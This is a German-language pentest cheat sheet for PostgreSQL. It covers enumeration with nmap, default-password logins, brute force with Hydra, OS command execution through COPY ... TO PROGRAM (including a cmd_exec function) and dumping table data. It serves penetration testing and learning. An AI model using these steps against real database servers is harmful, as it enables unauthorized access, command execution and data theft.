# 5432 - PostgreSQL

### Einführung

**Typische Angriffspunkte:**

* Schwache Passwörter (Brute Force).
* Offen zugängliche Datenbankservices (kein IP-Restricting).
* SQL-Injection in Webanwendungen.
* Übermäßig privilegierte Benutzer.

***

### Gefährliche Einstellungen

* **trust**-Authentifizierung: Ermöglicht Zugang ohne Passwort.
* **listen\_addresses = '\*'**: Erlaubt Verbindungen von allen Netzwerken.
* **log\_statement = 'all'**: Kann sensible Daten im Log speichern.

***

### Wichtige Befehle für PostgreSQL

```sql
\l                     - Listet alle Datenbanken auf.
\c <Datenbankname>     - Verbindet mit der angegebenen Datenbank.
\dt                    - Zeigt alle Tabellen im aktuellen Schema.
\d <Tabellenname>      - Zeigt die Struktur (Spalten, Datentypen) einer Tabelle.
\du                    - Listet alle Benutzer/Rollen und deren Rechte.
\conninfo              - Zeigt Informationen zur aktuellen Verbindung.
SELECT * FROM <Tabelle>; - Gibt alle Daten aus einer Tabelle aus.
CREATE USER <Benutzer> WITH PASSWORD '<Passwort>'; - Erstellt einen neuen Benutzer mit Passwort.
GRANT ALL PRIVILEGES ON DATABASE <Datenbank> TO <Benutzer>; - Erteilt einem Benutzer alle Rechte auf eine Datenbank.
SHOW log_directory;    - Zeigt das Verzeichnis der Server-Logs.
SHOW log_filename;     - Zeigt den Namen der aktuellen Logdatei.
SELECT version();      - Zeigt die PostgreSQL-Version und Systeminformationen.
SELECT * FROM pg_stat_activity; - Listet aktive Verbindungen zur Datenbank.

```

***

### Schritt-für-Schritt Pentest

#### 1. Enumeration

1. **Offene Ports und Version identifizieren:**

```bash
$ nmap -p 5432 -sV <Ziel-IP>
PORT     STATE SERVICE  VERSION
5432/tcp open  postgresql PostgreSQL 12.4
```

2. **Anmelden mit Standardbenutzern:** Versuche Standardbenutzer wie `postgres` ohne Passwort oder mit einfachen Passwörtern (`postgres`, `1234`).

#### 2. Exploitation

1. **Brute Force gegen PostgreSQL:** Tools wie `Hydra` oder `Medusa` können verwendet werden:

   ```bash
   $ hydra -l postgres -P passlist.txt <Ziel-IP> -s 5432 postgres
   [5432][postgres] host: <Ziel-IP>   login: postgres   password: admin123
   ```
2. **Code Execution (Falls Superuser):** PostgreSQL erlaubt die Ausführung von Befehlen über Extensions:

   ```sql
   postgres=# CREATE OR REPLACE FUNCTION cmd_exec(text) RETURNS void AS $$
              BEGIN
              EXECUTE 'COPY (SELECT '') TO PROGRAM ' || quote_literal($1);
              END;
              $$ LANGUAGE plpgsql;

   postgres=# SELECT cmd_exec('id');
   ```

#### 3. Post-Exploitation

* **Daten exfiltrieren:**

```sql
postgres=# \COPY (SELECT * FROM users) TO '/tmp/output.csv' CSV;
```

* **Systembefehle ausführen (bei Superuser-Rechten):**

```sql
postgres=# COPY (SELECT '') TO PROGRAM 'whoami';
```

***

### Nützliche Tools

* **pgcli**: Alternativer Client mit Autovervollständigung und Syntaxhighlighting.
* **Metasploit**: PostgreSQL-Login-Scanner.
* **Hydra/Medusa**: Brute-Force-Tools für PostgreSQL.
